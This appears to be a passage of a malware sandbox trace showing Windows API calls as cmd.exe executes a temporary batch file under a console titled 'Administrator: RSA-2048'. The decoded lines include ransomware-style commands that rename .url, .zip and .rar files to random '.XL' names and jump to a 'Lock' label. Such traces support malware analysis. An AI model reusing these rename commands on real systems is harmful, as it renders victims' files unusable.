[0039.294] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f6ac8 | out: hHeap=0x4e0000) returned 1 [0039.294] GetProcessHeap () returned 0x4e0000 [0039.294] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f6868 | out: hHeap=0x4e0000) returned 1 [0039.294] GetProcessHeap () returned 0x4e0000 [0039.294] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0039.294] GetProcessHeap () returned 0x4e0000 [0039.294] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b08 | out: hHeap=0x4e0000) returned 1 [0039.294] GetProcessHeap () returned 0x4e0000 [0039.294] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ac8 | out: hHeap=0x4e0000) returned 1 [0039.294] GetProcessHeap () returned 0x4e0000 [0039.294] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.294] GetProcessHeap () returned 0x4e0000 [0039.294] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f6080 | out: hHeap=0x4e0000) returned 1 [0039.294] GetProcessHeap () returned 0x4e0000 [0039.294] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.294] GetProcessHeap () returned 0x4e0000 [0039.294] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.294] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.294] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb02 [0039.294] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1b2b, lpOverlapped=0x0) returned 1 [0039.294] SetFilePointer (in: hFile=0x74, lDistanceToMove=2820, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb04 [0039.295] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\nNAME *.gif %RANDOM%.XL\r\n\n") returned 2 [0039.295] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.295] GetFileType (hFile=0x74) returned 0x1 [0039.295] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.295] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb04 [0039.295] GetProcessHeap () returned 0x4e0000 [0039.295] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.295] GetProcessHeap () returned 0x4e0000 [0039.295] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.295] _tell (_FileHandle=3) returned 2820 [0039.295] _close (_FileHandle=3) returned 0 [0039.295] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.295] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.295] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.295] SetFilePointer (in: hFile=0x74, lDistanceToMove=2820, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb04 [0039.296] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.296] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb04 [0039.296] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1b29, lpOverlapped=0x0) returned 1 [0039.296] SetFilePointer (in: hFile=0x74, lDistanceToMove=2831, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb0f [0039.296] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="goto Lock\r\nf %RANDOM%.XL\r\n\n") returned 11 [0039.296] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.296] GetFileType (hFile=0x74) returned 0x1 [0039.296] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.296] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb0f [0039.296] GetProcessHeap () returned 0x4e0000 [0039.296] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.296] GetProcessHeap () returned 0x4e0000 [0039.296] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.296] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.296] GetProcessHeap () returned 0x4e0000 [0039.296] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5880 [0039.296] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.297] _tell (_FileHandle=3) returned 2831 [0039.297] _close (_FileHandle=3) returned 0 [0039.297] _wcsicmp (_String1="goto", _String2="DIR") returned 3 [0039.297] _wcsicmp (_String1="goto", _String2="ERASE") returned 2 [0039.297] _wcsicmp (_String1="goto", _String2="DEL") returned 3 [0039.297] _wcsicmp (_String1="goto", _String2="TYPE") returned -13 [0039.297] _wcsicmp (_String1="goto", _String2="COPY") returned 4 [0039.297] _wcsicmp (_String1="goto", _String2="CD") returned 4 [0039.297] _wcsicmp (_String1="goto", _String2="CHDIR") returned 4 [0039.297] _wcsicmp (_String1="goto", _String2="RENAME") returned -11 [0039.297] _wcsicmp (_String1="goto", _String2="REN") returned -11 [0039.297] _wcsicmp (_String1="goto", _String2="ECHO") returned 2 [0039.297] _wcsicmp (_String1="goto", _String2="SET") returned -12 [0039.297] _wcsicmp (_String1="goto", _String2="PAUSE") returned -9 [0039.297] _wcsicmp (_String1="goto", _String2="DATE") returned 3 [0039.297] _wcsicmp (_String1="goto", _String2="TIME") returned -13 [0039.297] _wcsicmp (_String1="goto", _String2="PROMPT") returned -9 [0039.297] _wcsicmp (_String1="goto", _String2="MD") returned -6 [0039.297] _wcsicmp (_String1="goto", _String2="MKDIR") returned -6 [0039.297] _wcsicmp (_String1="goto", _String2="RD") returned -11 [0039.297] _wcsicmp (_String1="goto", _String2="RMDIR") returned -11 [0039.298] _wcsicmp (_String1="goto", _String2="PATH") returned -9 [0039.298] _wcsicmp (_String1="goto", _String2="GOTO") returned 0 [0039.298] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0039.298] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.298] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x14) returned 0x4f58c0 [0039.298] GetProcessHeap () returned 0x4e0000 [0039.298] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58c0) returned 0x14 [0039.298] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x1e) returned 0x4e0880 [0039.298] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41ee4c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.298] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.298] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.298] SetFilePointer (in: hFile=0x74, lDistanceToMove=2831, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb0f [0039.298] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.298] GetFileSize (in: hFile=0x74, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x262d [0039.298] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.298] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb0f [0039.299] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.299] GetFileType (hFile=0x74) returned 0x1 [0039.299] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb0f [0039.299] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.299] SetFilePointer (in: hFile=0x74, lDistanceToMove=2837, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb15 [0039.299] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":url\r\n 21278.XL") returned 6 [0039.299] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.299] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb15 [0039.299] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.299] GetFileType (hFile=0x74) returned 0x1 [0039.299] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb15 [0039.299] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.299] SetFilePointer (in: hFile=0x74, lDistanceToMove=2863, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb2f [0039.299] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.url %RANDOM%.XL\r\n\r\n") returned 26 [0039.299] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.299] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb2f [0039.300] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.300] GetFileType (hFile=0x74) returned 0x1 [0039.300] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb2f [0039.300] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.300] SetFilePointer (in: hFile=0x74, lDistanceToMove=2865, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb31 [0039.300] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.url %RANDOM%.XL\r\n") returned 2 [0039.300] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.300] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb31 [0039.300] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.300] GetFileType (hFile=0x74) returned 0x1 [0039.300] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb31 [0039.300] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.300] SetFilePointer (in: hFile=0x74, lDistanceToMove=2876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb3c [0039.300] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nl %RANDOM%.XL\r\n") returned 11 [0039.300] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.300] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb3c [0039.300] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.300] GetFileType (hFile=0x74) returned 0x1 [0039.301] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb3c [0039.301] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.301] SetFilePointer (in: hFile=0x74, lDistanceToMove=2882, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb42 [0039.301] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":zip\r\nock\r\n") returned 6 [0039.301] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.301] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb42 [0039.301] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.301] GetFileType (hFile=0x74) returned 0x1 [0039.301] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb42 [0039.301] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.301] SetFilePointer (in: hFile=0x74, lDistanceToMove=2884, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb44 [0039.301] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nip\r\n") returned 2 [0039.301] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.301] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb44 [0039.301] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.301] GetFileType (hFile=0x74) returned 0x1 [0039.301] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb44 [0039.302] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.302] SetFilePointer (in: hFile=0x74, lDistanceToMove=2910, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb5e [0039.302] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.zip %RANDOM%.XL\r\n") returned 26 [0039.302] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.302] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb5e [0039.302] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.302] GetFileType (hFile=0x74) returned 0x1 [0039.302] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb5e [0039.302] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.302] SetFilePointer (in: hFile=0x74, lDistanceToMove=2921, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb69 [0039.303] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\np %RANDOM%.XL\r\n") returned 11 [0039.303] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.303] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb69 [0039.303] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.303] GetFileType (hFile=0x74) returned 0x1 [0039.303] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb69 [0039.303] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.303] SetFilePointer (in: hFile=0x74, lDistanceToMove=2923, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb6b [0039.303] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.303] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.303] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb6b [0039.303] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.303] GetFileType (hFile=0x74) returned 0x1 [0039.303] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb6b [0039.303] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.303] SetFilePointer (in: hFile=0x74, lDistanceToMove=2929, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb71 [0039.303] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":rar\r\nock\r\n") returned 6 [0039.303] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.303] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb71 [0039.304] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.304] GetFileType (hFile=0x74) returned 0x1 [0039.304] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb71 [0039.304] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.304] SetFilePointer (in: hFile=0x74, lDistanceToMove=2931, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb73 [0039.304] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nar\r\n") returned 2 [0039.304] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.304] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb73 [0039.304] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.304] GetFileType (hFile=0x74) returned 0x1 [0039.304] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb73 [0039.304] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.304] SetFilePointer (in: hFile=0x74, lDistanceToMove=2957, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb8d [0039.304] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.rar %RANDOM%.XL\r\n") returned 26 [0039.304] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.304] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb8d [0039.304] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.305] GetFileType (hFile=0x74) returned 0x1 [0039.305] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb8d [0039.305] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.305] SetFilePointer (in: hFile=0x74, lDistanceToMove=2959, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb8f [0039.305] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.rar %RANDOM%.XL\r\n") returned 2 [0039.305] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.305] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb8f [0039.305] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.305] GetFileType (hFile=0x74) returned 0x1 [0039.305] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb8f [0039.305] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.305] SetFilePointer (in: hFile=0x74, lDistanceToMove=2970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb9a [0039.305] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nr %RANDOM%.XL\r\n") returned 11 [0039.305] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.305] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb9a [0039.305] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.305] GetFileType (hFile=0x74) returned 0x1 [0039.305] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb9a [0039.306] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.306] SetFilePointer (in: hFile=0x74, lDistanceToMove=2972, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb9c [0039.306] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.306] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.306] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb9c [0039.306] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.306] GetFileType (hFile=0x74) returned 0x1 [0039.306] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb9c [0039.306] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.306] SetFilePointer (in: hFile=0x74, lDistanceToMove=2978, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xba2 [0039.306] 